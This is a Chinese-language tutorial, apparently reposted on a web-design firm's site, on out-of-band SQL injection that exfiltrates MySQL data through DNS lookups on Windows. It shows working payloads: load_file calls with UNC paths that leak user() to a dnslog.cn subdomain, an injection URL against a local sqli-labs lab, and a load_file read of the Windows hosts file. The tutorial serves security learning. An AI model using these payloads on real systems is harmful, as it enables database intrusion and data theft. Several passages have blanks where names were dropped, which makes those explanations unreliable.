根据用于数据检索的传输通道,SQLi 可以分为三个独立的类别:(经典 SQL 注入)、(盲注入、推测注入、带内注入)和带外注入。
1.什么是OOB
带外 (OOB) 与带外数据相反。它是一种通过其他传输方式(例如利用 DNS 解析协议和电子邮件)窃取数据的技术。OOB 技术通常需要易受攻击的实体生成出站 TCP/UDP/ICMP 请求,然后允许攻击者泄露数据。OOB 攻击的成功取决于出口防火墙规则,即是否允许来自易受攻击的系统和外围防火墙的出站请求。从域名服务器 (DNS) 提取数据被认为是最隐蔽和最有效的方法。
2. 使用原则
1.常规SQL注入,获取服务器信息的一种方式
2. SQL注入利用DNS获取查询结果(OOB)
我们需要一个三级域名服务器(),它同时也是一个域名解析服务器(DNS),也就是下图中的服务器。
还需要配置“服务器”IP地址解析后的IP地址对应的域名“”。
这样就可以实时监控域名查询请求了,如下图:
3. 使用条件
需要环境
1. DBMS 需要具有可用的子程序,可以直接或间接触发 DNS 解析过程,即使用 UNC
2. Linux 没有 UNC 路径,因此在 Linux 环境中无法使用此方法获取数据
4.环境搭建
1. 操作系统
2.MySQL数据库服务
3.互联网上已有准备好的域名服务器和DNS服务器环境
中视眼科
5. OOB 复发
1.首先打开网站
2.打开客户端DOS
ping q5i9by.dnslog.cn
结果如下:
3.进入客户端Mysql服务
去
select load_file("////xxx.q5i9by.dnslog.cn//x.txt");
select load_file(concat("\\\\",user(),".q5i9by.dnslog.cn//aa.txt"));
笔记:
1. \\ 转义为 \
2. 将 (1,2,3) 连接起来形成 123
6.利用 SQL 注入漏洞执行出站查询
直接地
去
http://127.0.0.1/PTE/sqli-labs/Less-1/?id=1' and load_file(concat("\\\\",user(),".gq95nz.dnslog.cn\\xxx.txt"))--
7. 来自OOB的扩展知识
1、Mysql内置函数()不仅可以向\等URL发起请求,还可以加载本地文件,如下:
去
select load_file("C:\\WINDOWS\\system32\\drivers\\etc\\hosts");
show like '%%';查看可以读取的磁盘。
(1)当为空时,可以读取磁盘目录。
(2)当为G:\时,可以读取G盘里的文件。
(3)当为空时,无法加载该文件。
通过设置my.ini来配置。 =“”表示它可以是任何磁盘上的文件。
2. 不同DBMS使用的方法,参考以下链接
3. UNC 定义
UNC 是一种命名约定,主要用于指定和映射网络驱动器。UNC 命名约定大多用于访问局域网中的文件服务器或打印机。这是我们日常生活中在网络上共享文件的方式。UNC 路径是一种网络路径,形式为 \
格式:\\,其中是服务器名称,是共享资源的名称。
目录或文件的 UNC 名称可以包含共享名称下的目录路径,格式为:\\\\
参考链接
转自:全栈网络空间安全
扫一扫在手机端查看
-
Tags : dns sql注入 linux dns配置
我们凭借多年的网站建设经验,坚持以“帮助中小企业实现网络营销化”为宗旨,累计为4000多家客户提供品质建站服务,得到了客户的一致好评。如果您有网站建设、网站改版、域名注册、主机空间、手机网站建设、网站备案等方面的需求,请立即点击咨询我们或拨打咨询热线: 13761152229,我们会详细为你一一解答你心中的疑难。